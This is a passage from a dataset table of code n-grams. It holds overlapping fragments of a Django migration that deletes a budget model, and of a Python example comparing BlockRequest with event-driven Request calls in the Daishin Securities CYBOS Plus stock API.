ngram
listlengths 0
82k
|
|---|
[
"# Generated by Django 2.2.5 on 2020-04-08 00:08 from django.db",
"Django 2.2.5 on 2020-04-08 00:08 from django.db import migrations class",
"00:08 from django.db import migrations class Migration(migrations.Migration): dependencies = [",
"from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('budget',",
"= [ ('budget', '0004_auto_20200407_2356'), ] operations = [ migrations.DeleteModel( name='HiddenStatus_Budget',",
"[ ('budget', '0004_auto_20200407_2356'), ] operations = [ migrations.DeleteModel( name='HiddenStatus_Budget', ),",
"dependencies = [ ('budget', '0004_auto_20200407_2356'), ] operations = [ migrations.DeleteModel(",
"import migrations class Migration(migrations.Migration): dependencies = [ ('budget', '0004_auto_20200407_2356'), ]",
"by Django 2.2.5 on 2020-04-08 00:08 from django.db import migrations",
"django.db import migrations class Migration(migrations.Migration): dependencies = [ ('budget', '0004_auto_20200407_2356'),",
"on 2020-04-08 00:08 from django.db import migrations class Migration(migrations.Migration): dependencies",
"2.2.5 on 2020-04-08 00:08 from django.db import migrations class Migration(migrations.Migration):",
"Migration(migrations.Migration): dependencies = [ ('budget', '0004_auto_20200407_2356'), ] operations = [",
"class Migration(migrations.Migration): dependencies = [ ('budget', '0004_auto_20200407_2356'), ] operations =",
"('budget', '0004_auto_20200407_2356'), ] operations = [ migrations.DeleteModel( name='HiddenStatus_Budget', ), ]",
"migrations class Migration(migrations.Migration): dependencies = [ ('budget', '0004_auto_20200407_2356'), ] operations",
"Generated by Django 2.2.5 on 2020-04-08 00:08 from django.db import",
"2020-04-08 00:08 from django.db import migrations class Migration(migrations.Migration): dependencies ="
] |
[
"API # 데이터 요청 방법 2가지 BlockRequest 와 Request 방식",
"waitables = [StopEvent] while 1: rc = win32event.MsgWaitForMultipleObjects( waitables, 0,",
"must exit print('stop event') break elif rc == win32event.WAIT_OBJECT_0 +",
"2가지 BlockRequest 와 Request 방식 비교 예제 # 플러스 API",
"0, # Wait for all = false, so it waits",
"받은 데이터') item = {} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가'] =",
"방식 - 가장 간단하게 데이터 요청해서 수신 가능 # Request",
"message elif rc == win32event.WAIT_TIMEOUT: print('timeout') return pass else: print('exception')",
"실시간 통신 object self.name = name # 서비스가 다른 이벤트를",
"전일대비 print(item) print('') ############################################################## # 2. Request ==> 메시지 펌프",
"데이터 요청에는 BlockRequest 방식이 가장 간단합니다 # 다만, BlockRequest 함수",
"요청해서 수신 가능 # Request 호출 후 Received 이벤트로 수신",
"CpEvent) handler.set_params(self.obj, self.name, None) def MessagePump(timeout): waitables = [StopEvent] while",
"요청하는 방법은 크게 2가지가 있습니다 # # BlockRequest 방식 -",
"things to work properly! print('pump') if pythoncom.PumpWaitingMessages(): break # we",
"print('#####################################') objReply = CpCurReply(objStockMst) objReply.Subscribe() code = 'A005930' objStockMst.SetInputValue(0, code)",
"print('exception') raise RuntimeError(\"unexpected win32wait return value\") code = 'A005930' ##############################################################",
"함수 내에서도 동일 하게 메시지펌핑을 하고 있어 해당 통신이 마치기",
"1: rc = win32event.MsgWaitForMultipleObjects( waitables, 0, # Wait for all",
"event listed, the StopEvent, was triggered, so we must exit",
"# Accepts all input if rc == win32event.WAIT_OBJECT_0: # Our",
"so it waits for anyone timeout, # (or win32event.INFINITE) win32event.QS_ALLEVENTS)",
"StopEvent, was triggered, so we must exit print('stop event') break",
"we received a wm_quit message elif rc == win32event.WAIT_TIMEOUT: print('timeout')",
"objStockMst.SetInputValue(0, code) objStockMst.Request() MessagePump(10000) item = {} item['종목명'] = g_objCodeMgr.CodeToName(code)",
"# This message-serving MUST be done for COM, DDE, and",
"Windowsy things to work properly! print('pump') if pythoncom.PumpWaitingMessages(): break #",
"# Request 호출 후 Received 이벤트로 수신 받기 # #",
"item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가'] = objStockMst.GetHeaderValue(11) # 종가 item['대비'] =",
"만든 예제 코드입니다 # 일반적인 데이터 요청에는 BlockRequest 방식이 가장",
"client, name, caller): self.client = client # CP 실시간 통신",
"object self.name = name # 서비스가 다른 이벤트를 구분하기 위한",
"펌프 ==> OnReceived 이벤트 수신 print('#####################################') objReply = CpCurReply(objStockMst) objReply.Subscribe()",
"방법 2가지 BlockRequest 와 Request 방식 비교 예제 # 플러스",
"방식 비교 예제 # 플러스 API 에서 데이터를 요청하는 방법은",
"a wm_quit message elif rc == win32event.WAIT_TIMEOUT: print('timeout') return pass",
"와 Request 방식 비교 예제 # 플러스 API 에서 데이터를",
"요청에는 BlockRequest 방식이 가장 간단합니다 # 다만, BlockRequest 함수 내에서도",
"데이터 요청해서 수신 가능 # Request 호출 후 Received 이벤트로",
"= name # 서비스가 다른 이벤트를 구분하기 위한 이름 self.caller",
"수 있도록 만든 예제 코드입니다 # 일반적인 데이터 요청에는 BlockRequest",
"handler.set_params(self.obj, self.name, None) def MessagePump(timeout): waitables = [StopEvent] while 1:",
"경우 함수 호출이 실패할 수 있습니다 # 복잡한 실시간 시세",
"def __init__(self, objEvent): self.name = \"stockmst\" self.obj = objEvent def",
"class CpEvent: def set_params(self, client, name, caller): self.client = client",
"있을 경우 함수 호출이 실패할 수 있습니다 # 복잡한 실시간",
"self.obj = objEvent def Subscribe(self): handler = win32com.client.WithEvents(self.obj, CpEvent) handler.set_params(self.obj,",
"문제가 있을 경우 함수 호출이 실패할 수 있습니다 # 복잡한",
"code) objStockMst.BlockRequest() print('BlockRequest 로 수신 받은 데이터') item = {}",
"# 2. Request ==> 메시지 펌프 ==> OnReceived 이벤트 수신",
"objEvent def Subscribe(self): handler = win32com.client.WithEvents(self.obj, CpEvent) handler.set_params(self.obj, self.name, None)",
"len(waitables): # A windows message is waiting - take care",
"care of it. (Don't ask me # why a WAIT_OBJECT_MSG",
"현재가 주문 체결 if self.name == 'stockmst': print('recieved') win32event.SetEvent(StopEvent) return",
"= win32event.MsgWaitForMultipleObjects( waitables, 0, # Wait for all = false,",
"하고 있어 해당 통신이 마치기 전에 실시간 시세를 수신 받거나",
"이용해야 합니다. import pythoncom from PyQt5.QtWidgets import * import win32com.client",
"합니다. import pythoncom from PyQt5.QtWidgets import * import win32com.client import",
"실시간 처리 - 현재가 주문 체결 if self.name == 'stockmst':",
"win32event.WAIT_OBJECT_0: # Our first event listed, the StopEvent, was triggered,",
"0, None) class CpEvent: def set_params(self, client, name, caller): self.client",
"크게 2가지가 있습니다 # # BlockRequest 방식 - 가장 간단하게",
"예제 코드입니다 # 일반적인 데이터 요청에는 BlockRequest 방식이 가장 간단합니다",
"메시지 펌프 ==> OnReceived 이벤트 수신 print('#####################################') objReply = CpCurReply(objStockMst)",
"anyone timeout, # (or win32event.INFINITE) win32event.QS_ALLEVENTS) # Accepts all input",
"return pass else: print('exception') raise RuntimeError(\"unexpected win32wait return value\") code",
"rc = win32event.MsgWaitForMultipleObjects( waitables, 0, # Wait for all =",
"OnReceived 이벤트 수신 print('#####################################') objReply = CpCurReply(objStockMst) objReply.Subscribe() code =",
"# 일반적인 데이터 요청에는 BlockRequest 방식이 가장 간단합니다 # 다만,",
"다른 이벤트에 의해 재귀 호출 되는 문제가 있을 경우 함수",
"함수 호출이 실패할 수 있습니다 # 복잡한 실시간 시세 수신",
"# we received a wm_quit message elif rc == win32event.WAIT_TIMEOUT:",
"else: print('exception') raise RuntimeError(\"unexpected win32wait return value\") code = 'A005930'",
"if rc == win32event.WAIT_OBJECT_0: # Our first event listed, the",
"client # CP 실시간 통신 object self.name = name #",
"all input if rc == win32event.WAIT_OBJECT_0: # Our first event",
"이벤트를 구분하기 위한 이름 self.caller = caller # callback 을",
"code = 'A005930' objStockMst.SetInputValue(0, code) objStockMst.Request() MessagePump(10000) item = {}",
"해당 통신이 마치기 전에 실시간 시세를 수신 받거나 # 다른",
"BlockRequest 방식이 가장 간단합니다 # 다만, BlockRequest 함수 내에서도 동일",
"예제 # 플러스 API 에서 데이터를 요청하는 방법은 크게 2가지가",
"# Our first event listed, the StopEvent, was triggered, so",
"############################################################## # 2. Request ==> 메시지 펌프 ==> OnReceived 이벤트",
"false, so it waits for anyone timeout, # (or win32event.INFINITE)",
"호출 후 Received 이벤트로 수신 받기 # # 아래는 위",
"# 플러스 API 에서 데이터를 요청하는 방법은 크게 2가지가 있습니다",
"print('BlockRequest 로 수신 받은 데이터') item = {} item['종목명'] =",
"'A005930' objStockMst.SetInputValue(0, code) objStockMst.Request() MessagePump(10000) item = {} item['종목명'] =",
"objReply = CpCurReply(objStockMst) objReply.Subscribe() code = 'A005930' objStockMst.SetInputValue(0, code) objStockMst.Request()",
"이벤트로 수신 받기 # # 아래는 위 2가지를 비교할 수",
"defined < WAIT_OBJECT_0...!). # This message-serving MUST be done for",
"objStockMst.BlockRequest() print('BlockRequest 로 수신 받은 데이터') item = {} item['종목명']",
"value\") code = 'A005930' ############################################################## # 1. BlockRequest print('#####################################') objStockMst",
"서비스가 다른 이벤트를 구분하기 위한 이름 self.caller = caller #",
"Request ==> 메시지 펌프 ==> OnReceived 이벤트 수신 print('#####################################') objReply",
"= objEvent def Subscribe(self): handler = win32com.client.WithEvents(self.obj, CpEvent) handler.set_params(self.obj, self.name,",
"== win32event.WAIT_OBJECT_0: # Our first event listed, the StopEvent, was",
"아래는 위 2가지를 비교할 수 있도록 만든 예제 코드입니다 #",
"CpEvent: def set_params(self, client, name, caller): self.client = client #",
"# (or win32event.INFINITE) win32event.QS_ALLEVENTS) # Accepts all input if rc",
"objEvent): self.name = \"stockmst\" self.obj = objEvent def Subscribe(self): handler",
"마치기 전에 실시간 시세를 수신 받거나 # 다른 이벤트에 의해",
"of it. (Don't ask me # why a WAIT_OBJECT_MSG isn't",
"= false, so it waits for anyone timeout, # (or",
"== 'stockmst': print('recieved') win32event.SetEvent(StopEvent) return class CpCurReply: def __init__(self, objEvent):",
"동일 하게 메시지펌핑을 하고 있어 해당 통신이 마치기 전에 실시간",
"win32event.QS_ALLEVENTS) # Accepts all input if rc == win32event.WAIT_OBJECT_0: #",
"해야 하는 경우에는 Request 방식을 이용해야 합니다. import pythoncom from",
"1. BlockRequest print('#####################################') objStockMst = win32com.client.Dispatch(\"DsCbo1.StockMst\") objStockMst.SetInputValue(0, code) objStockMst.BlockRequest() print('BlockRequest",
"위해 보관 def OnReceived(self): # 실시간 처리 - 현재가 주문",
"MUST be done for COM, DDE, and other # Windowsy",
"break elif rc == win32event.WAIT_OBJECT_0 + len(waitables): # A windows",
"# 종가 item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비 print(item) print('') ##############################################################",
"(Don't ask me # why a WAIT_OBJECT_MSG isn't defined <",
"Subscribe(self): handler = win32com.client.WithEvents(self.obj, CpEvent) handler.set_params(self.obj, self.name, None) def MessagePump(timeout):",
"other # Windowsy things to work properly! print('pump') if pythoncom.PumpWaitingMessages():",
"MessagePump(10000) item = {} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가'] = objStockMst.GetHeaderValue(11)",
"handler = win32com.client.WithEvents(self.obj, CpEvent) handler.set_params(self.obj, self.name, None) def MessagePump(timeout): waitables",
"CpCurReply: def __init__(self, objEvent): self.name = \"stockmst\" self.obj = objEvent",
"print('#####################################') objStockMst = win32com.client.Dispatch(\"DsCbo1.StockMst\") objStockMst.SetInputValue(0, code) objStockMst.BlockRequest() print('BlockRequest 로 수신",
"win32event.MsgWaitForMultipleObjects( waitables, 0, # Wait for all = false, so",
"ask me # why a WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0...!).",
"raise RuntimeError(\"unexpected win32wait return value\") code = 'A005930' ############################################################## #",
"rc == win32event.WAIT_OBJECT_0: # Our first event listed, the StopEvent,",
"rc == win32event.WAIT_TIMEOUT: print('timeout') return pass else: print('exception') raise RuntimeError(\"unexpected",
"name, caller): self.client = client # CP 실시간 통신 object",
"통신이 마치기 전에 실시간 시세를 수신 받거나 # 다른 이벤트에",
"= [StopEvent] while 1: rc = win32event.MsgWaitForMultipleObjects( waitables, 0, #",
"# 대신증권 API # 데이터 요청 방법 2가지 BlockRequest 와",
"전에 실시간 시세를 수신 받거나 # 다른 이벤트에 의해 재귀",
"하게 메시지펌핑을 하고 있어 해당 통신이 마치기 전에 실시간 시세를",
"listed, the StopEvent, was triggered, so we must exit print('stop",
"비교 예제 # 플러스 API 에서 데이터를 요청하는 방법은 크게",
"def MessagePump(timeout): waitables = [StopEvent] while 1: rc = win32event.MsgWaitForMultipleObjects(",
"Request 호출 후 Received 이벤트로 수신 받기 # # 아래는",
"이름 self.caller = caller # callback 을 위해 보관 def",
"2가지가 있습니다 # # BlockRequest 방식 - 가장 간단하게 데이터",
"# 실시간 처리 - 현재가 주문 체결 if self.name ==",
"for COM, DDE, and other # Windowsy things to work",
"있도록 만든 예제 코드입니다 # 일반적인 데이터 요청에는 BlockRequest 방식이",
"코드입니다 # 일반적인 데이터 요청에는 BlockRequest 방식이 가장 간단합니다 #",
"item = {} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가'] = objStockMst.GetHeaderValue(11) #",
"import win32com.client import win32event g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr') StopEvent = win32event.CreateEvent(None,",
"waits for anyone timeout, # (or win32event.INFINITE) win32event.QS_ALLEVENTS) # Accepts",
"objStockMst.SetInputValue(0, code) objStockMst.BlockRequest() print('BlockRequest 로 수신 받은 데이터') item =",
"A windows message is waiting - take care of it.",
"수신 받기 # # 아래는 위 2가지를 비교할 수 있도록",
"code) objStockMst.Request() MessagePump(10000) item = {} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가']",
"timeout, # (or win32event.INFINITE) win32event.QS_ALLEVENTS) # Accepts all input if",
"통신 object self.name = name # 서비스가 다른 이벤트를 구분하기",
"if pythoncom.PumpWaitingMessages(): break # we received a wm_quit message elif",
"==> 메시지 펌프 ==> OnReceived 이벤트 수신 print('#####################################') objReply =",
"요청 방법 2가지 BlockRequest 와 Request 방식 비교 예제 #",
"= win32event.CreateEvent(None, 0, 0, None) class CpEvent: def set_params(self, client,",
"win32event g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr') StopEvent = win32event.CreateEvent(None, 0, 0, None)",
"수신 print('#####################################') objReply = CpCurReply(objStockMst) objReply.Subscribe() code = 'A005930' objStockMst.SetInputValue(0,",
"보관 def OnReceived(self): # 실시간 처리 - 현재가 주문 체결",
"내에서도 동일 하게 메시지펌핑을 하고 있어 해당 통신이 마치기 전에",
"있어 해당 통신이 마치기 전에 실시간 시세를 수신 받거나 #",
"# A windows message is waiting - take care of",
"= g_objCodeMgr.CodeToName(code) item['현재가'] = objStockMst.GetHeaderValue(11) # 종가 item['대비'] = objStockMst.GetHeaderValue(12)",
"통신을 해야 하는 경우에는 Request 방식을 이용해야 합니다. import pythoncom",
"호출이 실패할 수 있습니다 # 복잡한 실시간 시세 수신 중에",
"위 2가지를 비교할 수 있도록 만든 예제 코드입니다 # 일반적인",
"print(item) print('') ############################################################## # 2. Request ==> 메시지 펌프 ==>",
"g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr') StopEvent = win32event.CreateEvent(None, 0, 0, None) class",
"\"stockmst\" self.obj = objEvent def Subscribe(self): handler = win32com.client.WithEvents(self.obj, CpEvent)",
"수신 받은 데이터') item = {} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가']",
"objReply.Subscribe() code = 'A005930' objStockMst.SetInputValue(0, code) objStockMst.Request() MessagePump(10000) item =",
"input if rc == win32event.WAIT_OBJECT_0: # Our first event listed,",
"방식을 이용해야 합니다. import pythoncom from PyQt5.QtWidgets import * import",
"- 현재가 주문 체결 if self.name == 'stockmst': print('recieved') win32event.SetEvent(StopEvent)",
"의해 재귀 호출 되는 문제가 있을 경우 함수 호출이 실패할",
"win32event.SetEvent(StopEvent) return class CpCurReply: def __init__(self, objEvent): self.name = \"stockmst\"",
"# 서비스가 다른 이벤트를 구분하기 위한 이름 self.caller = caller",
"데이터') item = {} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가'] = objStockMst.GetHeaderValue(11)",
"주문 체결 if self.name == 'stockmst': print('recieved') win32event.SetEvent(StopEvent) return class",
"break # we received a wm_quit message elif rc ==",
"take care of it. (Don't ask me # why a",
"None) class CpEvent: def set_params(self, client, name, caller): self.client =",
"rc == win32event.WAIT_OBJECT_0 + len(waitables): # A windows message is",
"a WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0...!). # This message-serving MUST",
"메시지펌핑을 하고 있어 해당 통신이 마치기 전에 실시간 시세를 수신",
"win32com.client import win32event g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr') StopEvent = win32event.CreateEvent(None, 0,",
"위한 이름 self.caller = caller # callback 을 위해 보관",
"return value\") code = 'A005930' ############################################################## # 1. BlockRequest print('#####################################')",
"- 가장 간단하게 데이터 요청해서 수신 가능 # Request 호출",
"이벤트 수신 print('#####################################') objReply = CpCurReply(objStockMst) objReply.Subscribe() code = 'A005930'",
"print('timeout') return pass else: print('exception') raise RuntimeError(\"unexpected win32wait return value\")",
"pythoncom.PumpWaitingMessages(): break # we received a wm_quit message elif rc",
"OnReceived(self): # 실시간 처리 - 현재가 주문 체결 if self.name",
"방법은 크게 2가지가 있습니다 # # BlockRequest 방식 - 가장",
"event') break elif rc == win32event.WAIT_OBJECT_0 + len(waitables): # A",
"(or win32event.INFINITE) win32event.QS_ALLEVENTS) # Accepts all input if rc ==",
"종가 item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비 print(item) print('') ############################################################## #",
"# Windowsy things to work properly! print('pump') if pythoncom.PumpWaitingMessages(): break",
"the StopEvent, was triggered, so we must exit print('stop event')",
"def set_params(self, client, name, caller): self.client = client # CP",
"= CpCurReply(objStockMst) objReply.Subscribe() code = 'A005930' objStockMst.SetInputValue(0, code) objStockMst.Request() MessagePump(10000)",
"objStockMst = win32com.client.Dispatch(\"DsCbo1.StockMst\") objStockMst.SetInputValue(0, code) objStockMst.BlockRequest() print('BlockRequest 로 수신 받은",
"__init__(self, objEvent): self.name = \"stockmst\" self.obj = objEvent def Subscribe(self):",
"waiting - take care of it. (Don't ask me #",
"일반적인 데이터 요청에는 BlockRequest 방식이 가장 간단합니다 # 다만, BlockRequest",
"we must exit print('stop event') break elif rc == win32event.WAIT_OBJECT_0",
"# # BlockRequest 방식 - 가장 간단하게 데이터 요청해서 수신",
"'A005930' ############################################################## # 1. BlockRequest print('#####################################') objStockMst = win32com.client.Dispatch(\"DsCbo1.StockMst\") objStockMst.SetInputValue(0,",
"이벤트에 의해 재귀 호출 되는 문제가 있을 경우 함수 호출이",
"############################################################## # 1. BlockRequest print('#####################################') objStockMst = win32com.client.Dispatch(\"DsCbo1.StockMst\") objStockMst.SetInputValue(0, code)",
"StopEvent = win32event.CreateEvent(None, 0, 0, None) class CpEvent: def set_params(self,",
"self.name = \"stockmst\" self.obj = objEvent def Subscribe(self): handler =",
"to work properly! print('pump') if pythoncom.PumpWaitingMessages(): break # we received",
"'stockmst': print('recieved') win32event.SetEvent(StopEvent) return class CpCurReply: def __init__(self, objEvent): self.name",
"= caller # callback 을 위해 보관 def OnReceived(self): #",
"import pythoncom from PyQt5.QtWidgets import * import win32com.client import win32event",
"def Subscribe(self): handler = win32com.client.WithEvents(self.obj, CpEvent) handler.set_params(self.obj, self.name, None) def",
"BlockRequest 함수 내에서도 동일 하게 메시지펌핑을 하고 있어 해당 통신이",
"was triggered, so we must exit print('stop event') break elif",
"callback 을 위해 보관 def OnReceived(self): # 실시간 처리 -",
"받기 # # 아래는 위 2가지를 비교할 수 있도록 만든",
"elif rc == win32event.WAIT_TIMEOUT: print('timeout') return pass else: print('exception') raise",
"print('stop event') break elif rc == win32event.WAIT_OBJECT_0 + len(waitables): #",
"item['현재가'] = objStockMst.GetHeaderValue(11) # 종가 item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비",
"# 전일대비 print(item) print('') ############################################################## # 2. Request ==> 메시지",
"데이터 요청 방법 2가지 BlockRequest 와 Request 방식 비교 예제",
"win32com.client.Dispatch(\"DsCbo1.StockMst\") objStockMst.SetInputValue(0, code) objStockMst.BlockRequest() print('BlockRequest 로 수신 받은 데이터') item",
"be done for COM, DDE, and other # Windowsy things",
"을 위해 보관 def OnReceived(self): # 실시간 처리 - 현재가",
"# why a WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0...!). # This",
"# 복잡한 실시간 시세 수신 중에 통신을 해야 하는 경우에는",
"windows message is waiting - take care of it. (Don't",
"work properly! print('pump') if pythoncom.PumpWaitingMessages(): break # we received a",
"< WAIT_OBJECT_0...!). # This message-serving MUST be done for COM,",
"PyQt5.QtWidgets import * import win32com.client import win32event g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr')",
"호출 되는 문제가 있을 경우 함수 호출이 실패할 수 있습니다",
"why a WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0...!). # This message-serving",
"item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비 print(item) print('') ############################################################## # 2.",
"if self.name == 'stockmst': print('recieved') win32event.SetEvent(StopEvent) return class CpCurReply: def",
"되는 문제가 있을 경우 함수 호출이 실패할 수 있습니다 #",
"중에 통신을 해야 하는 경우에는 Request 방식을 이용해야 합니다. import",
"print('recieved') win32event.SetEvent(StopEvent) return class CpCurReply: def __init__(self, objEvent): self.name =",
"objStockMst.GetHeaderValue(11) # 종가 item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비 print(item) print('')",
"방식이 가장 간단합니다 # 다만, BlockRequest 함수 내에서도 동일 하게",
"가장 간단합니다 # 다만, BlockRequest 함수 내에서도 동일 하게 메시지펌핑을",
"MessagePump(timeout): waitables = [StopEvent] while 1: rc = win32event.MsgWaitForMultipleObjects( waitables,",
"가장 간단하게 데이터 요청해서 수신 가능 # Request 호출 후",
"경우에는 Request 방식을 이용해야 합니다. import pythoncom from PyQt5.QtWidgets import",
"데이터를 요청하는 방법은 크게 2가지가 있습니다 # # BlockRequest 방식",
"message is waiting - take care of it. (Don't ask",
"# # 아래는 위 2가지를 비교할 수 있도록 만든 예제",
"is waiting - take care of it. (Don't ask me",
"실패할 수 있습니다 # 복잡한 실시간 시세 수신 중에 통신을",
"win32event.CreateEvent(None, 0, 0, None) class CpEvent: def set_params(self, client, name,",
"DDE, and other # Windowsy things to work properly! print('pump')",
"- take care of it. (Don't ask me # why",
"received a wm_quit message elif rc == win32event.WAIT_TIMEOUT: print('timeout') return",
"가능 # Request 호출 후 Received 이벤트로 수신 받기 #",
"= \"stockmst\" self.obj = objEvent def Subscribe(self): handler = win32com.client.WithEvents(self.obj,",
"objStockMst.Request() MessagePump(10000) item = {} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가'] =",
"있습니다 # # BlockRequest 방식 - 가장 간단하게 데이터 요청해서",
"caller): self.client = client # CP 실시간 통신 object self.name",
"= win32com.client.WithEvents(self.obj, CpEvent) handler.set_params(self.obj, self.name, None) def MessagePump(timeout): waitables =",
"BlockRequest print('#####################################') objStockMst = win32com.client.Dispatch(\"DsCbo1.StockMst\") objStockMst.SetInputValue(0, code) objStockMst.BlockRequest() print('BlockRequest 로",
"Request 방식을 이용해야 합니다. import pythoncom from PyQt5.QtWidgets import *",
"This message-serving MUST be done for COM, DDE, and other",
"None) def MessagePump(timeout): waitables = [StopEvent] while 1: rc =",
"실시간 시세를 수신 받거나 # 다른 이벤트에 의해 재귀 호출",
"복잡한 실시간 시세 수신 중에 통신을 해야 하는 경우에는 Request",
"objStockMst.GetHeaderValue(12) # 전일대비 print(item) print('') ############################################################## # 2. Request ==>",
"self.name == 'stockmst': print('recieved') win32event.SetEvent(StopEvent) return class CpCurReply: def __init__(self,",
"import win32event g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr') StopEvent = win32event.CreateEvent(None, 0, 0,",
"win32event.WAIT_OBJECT_0 + len(waitables): # A windows message is waiting -",
"for anyone timeout, # (or win32event.INFINITE) win32event.QS_ALLEVENTS) # Accepts all",
"체결 if self.name == 'stockmst': print('recieved') win32event.SetEvent(StopEvent) return class CpCurReply:",
"from PyQt5.QtWidgets import * import win32com.client import win32event g_objCodeMgr =",
"name # 서비스가 다른 이벤트를 구분하기 위한 이름 self.caller =",
"# 아래는 위 2가지를 비교할 수 있도록 만든 예제 코드입니다",
"RuntimeError(\"unexpected win32wait return value\") code = 'A005930' ############################################################## # 1.",
"elif rc == win32event.WAIT_OBJECT_0 + len(waitables): # A windows message",
"properly! print('pump') if pythoncom.PumpWaitingMessages(): break # we received a wm_quit",
"it waits for anyone timeout, # (or win32event.INFINITE) win32event.QS_ALLEVENTS) #",
"= objStockMst.GetHeaderValue(11) # 종가 item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비 print(item)",
"# BlockRequest 방식 - 가장 간단하게 데이터 요청해서 수신 가능",
"WAIT_OBJECT_0...!). # This message-serving MUST be done for COM, DDE,",
"win32com.client.Dispatch('CpUtil.CpCodeMgr') StopEvent = win32event.CreateEvent(None, 0, 0, None) class CpEvent: def",
"# 데이터 요청 방법 2가지 BlockRequest 와 Request 방식 비교",
"# callback 을 위해 보관 def OnReceived(self): # 실시간 처리",
"isn't defined < WAIT_OBJECT_0...!). # This message-serving MUST be done",
"+ len(waitables): # A windows message is waiting - take",
"시세 수신 중에 통신을 해야 하는 경우에는 Request 방식을 이용해야",
"Request 방식 비교 예제 # 플러스 API 에서 데이터를 요청하는",
"수신 받거나 # 다른 이벤트에 의해 재귀 호출 되는 문제가",
"triggered, so we must exit print('stop event') break elif rc",
"waitables, 0, # Wait for all = false, so it",
"print('') ############################################################## # 2. Request ==> 메시지 펌프 ==> OnReceived",
"대신증권 API # 데이터 요청 방법 2가지 BlockRequest 와 Request",
"다른 이벤트를 구분하기 위한 이름 self.caller = caller # callback",
"==> OnReceived 이벤트 수신 print('#####################################') objReply = CpCurReply(objStockMst) objReply.Subscribe() code",
"= win32com.client.Dispatch('CpUtil.CpCodeMgr') StopEvent = win32event.CreateEvent(None, 0, 0, None) class CpEvent:",
"재귀 호출 되는 문제가 있을 경우 함수 호출이 실패할 수",
"self.client = client # CP 실시간 통신 object self.name =",
"= client # CP 실시간 통신 object self.name = name",
"2가지를 비교할 수 있도록 만든 예제 코드입니다 # 일반적인 데이터",
"= {} item['종목명'] = g_objCodeMgr.CodeToName(code) item['현재가'] = objStockMst.GetHeaderValue(11) # 종가",
"2. Request ==> 메시지 펌프 ==> OnReceived 이벤트 수신 print('#####################################')",
"it. (Don't ask me # why a WAIT_OBJECT_MSG isn't defined",
"다만, BlockRequest 함수 내에서도 동일 하게 메시지펌핑을 하고 있어 해당",
"while 1: rc = win32event.MsgWaitForMultipleObjects( waitables, 0, # Wait for",
"간단하게 데이터 요청해서 수신 가능 # Request 호출 후 Received",
"0, 0, None) class CpEvent: def set_params(self, client, name, caller):",
"= objStockMst.GetHeaderValue(12) # 전일대비 print(item) print('') ############################################################## # 2. Request",
"first event listed, the StopEvent, was triggered, so we must",
"하는 경우에는 Request 방식을 이용해야 합니다. import pythoncom from PyQt5.QtWidgets",
"win32wait return value\") code = 'A005930' ############################################################## # 1. BlockRequest",
"[StopEvent] while 1: rc = win32event.MsgWaitForMultipleObjects( waitables, 0, # Wait",
"실시간 시세 수신 중에 통신을 해야 하는 경우에는 Request 방식을",
"set_params(self, client, name, caller): self.client = client # CP 실시간",
"Our first event listed, the StopEvent, was triggered, so we",
"플러스 API 에서 데이터를 요청하는 방법은 크게 2가지가 있습니다 #",
"print('pump') if pythoncom.PumpWaitingMessages(): break # we received a wm_quit message",
"done for COM, DDE, and other # Windowsy things to",
"pass else: print('exception') raise RuntimeError(\"unexpected win32wait return value\") code =",
"so we must exit print('stop event') break elif rc ==",
"있습니다 # 복잡한 실시간 시세 수신 중에 통신을 해야 하는",
"* import win32com.client import win32event g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr') StopEvent =",
"win32event.WAIT_TIMEOUT: print('timeout') return pass else: print('exception') raise RuntimeError(\"unexpected win32wait return",
"== win32event.WAIT_OBJECT_0 + len(waitables): # A windows message is waiting",
"= 'A005930' objStockMst.SetInputValue(0, code) objStockMst.Request() MessagePump(10000) item = {} item['종목명']",
"처리 - 현재가 주문 체결 if self.name == 'stockmst': print('recieved')",
"message-serving MUST be done for COM, DDE, and other #",
"CpCurReply(objStockMst) objReply.Subscribe() code = 'A005930' objStockMst.SetInputValue(0, code) objStockMst.Request() MessagePump(10000) item",
"all = false, so it waits for anyone timeout, #",
"WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0...!). # This message-serving MUST be",
"비교할 수 있도록 만든 예제 코드입니다 # 일반적인 데이터 요청에는",
"win32com.client.WithEvents(self.obj, CpEvent) handler.set_params(self.obj, self.name, None) def MessagePump(timeout): waitables = [StopEvent]",
"import * import win32com.client import win32event g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr') StopEvent",
"Wait for all = false, so it waits for anyone",
"BlockRequest 와 Request 방식 비교 예제 # 플러스 API 에서",
"win32event.INFINITE) win32event.QS_ALLEVENTS) # Accepts all input if rc == win32event.WAIT_OBJECT_0:",
"# CP 실시간 통신 object self.name = name # 서비스가",
"간단합니다 # 다만, BlockRequest 함수 내에서도 동일 하게 메시지펌핑을 하고",
"시세를 수신 받거나 # 다른 이벤트에 의해 재귀 호출 되는",
"수신 중에 통신을 해야 하는 경우에는 Request 방식을 이용해야 합니다.",
"= win32com.client.Dispatch(\"DsCbo1.StockMst\") objStockMst.SetInputValue(0, code) objStockMst.BlockRequest() print('BlockRequest 로 수신 받은 데이터')",
"and other # Windowsy things to work properly! print('pump') if",
"Accepts all input if rc == win32event.WAIT_OBJECT_0: # Our first",
